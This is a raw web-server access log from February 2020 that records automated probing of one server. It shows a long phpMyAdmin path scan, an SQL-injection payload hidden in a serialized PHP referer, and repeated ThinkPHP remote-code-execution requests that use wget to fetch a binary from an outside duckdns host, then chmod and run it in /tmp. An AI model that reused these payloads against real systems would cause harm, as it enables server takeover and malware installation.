106.13.37.56 - - [01/Feb/2020:15:56:08 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
106.13.37.56 - - [01/Feb/2020:15:56:12 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:12 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:12 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:13 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:13 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:13 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:13 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:13 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:14 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:16 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:17 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:17 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:17 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:18 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:20 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:20 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:20 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:20 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:21 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:21 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:21 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:22 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:22 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:22 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:24 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:24 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:24 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:24 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:25 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:25 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:25 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:26 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:26 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:27 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:28 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:28 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:28 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:28 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:28 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:28 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:29 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:29 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:29 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:29 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:29 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:30 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:30 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:30 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:32 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:32 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:32 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:32 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:32 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:32 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:33 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:33 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:33 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:33 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:33 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:34 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:34 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:36 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:36 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:36 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:36 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:37 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:37 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:37 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:38 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:40 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:41 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:41 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:41 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:42 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:42 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:44 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [01/Feb/2020:15:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.37.56 - - [01/Feb/2020:15:56:44 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:44 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:44 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:45 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:45 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:45 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:45 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:45 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:48 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:49 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:52 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:52 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:52 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:53 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:53 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:53 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:53 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:53 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:53 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:54 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:54 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:54 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:54 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:55 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:56:59 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:57:00 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:57:00 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.13.37.56 - - [01/Feb/2020:15:57:00 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
91.205.24.180 - - [01/Feb/2020:15:57:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [01/Feb/2020:15:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.67 - - [01/Feb/2020:15:59:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:15:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [01/Feb/2020:16:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [01/Feb/2020:16:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.76.196.190 - - [01/Feb/2020:16:01:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [01/Feb/2020:16:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.51.184 - - [01/Feb/2020:16:03:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:16:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.50.16.78 - - [01/Feb/2020:16:04:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.51.40.242 - - [01/Feb/2020:16:04:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:16:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:16:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.59.81 - - [01/Feb/2020:16:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.59.81 - - [01/Feb/2020:16:06:23 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
193.112.59.81 - - [01/Feb/2020:16:06:23 +0100] "POST /Admin53f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
87.107.72.164 - - [01/Feb/2020:16:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [01/Feb/2020:16:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
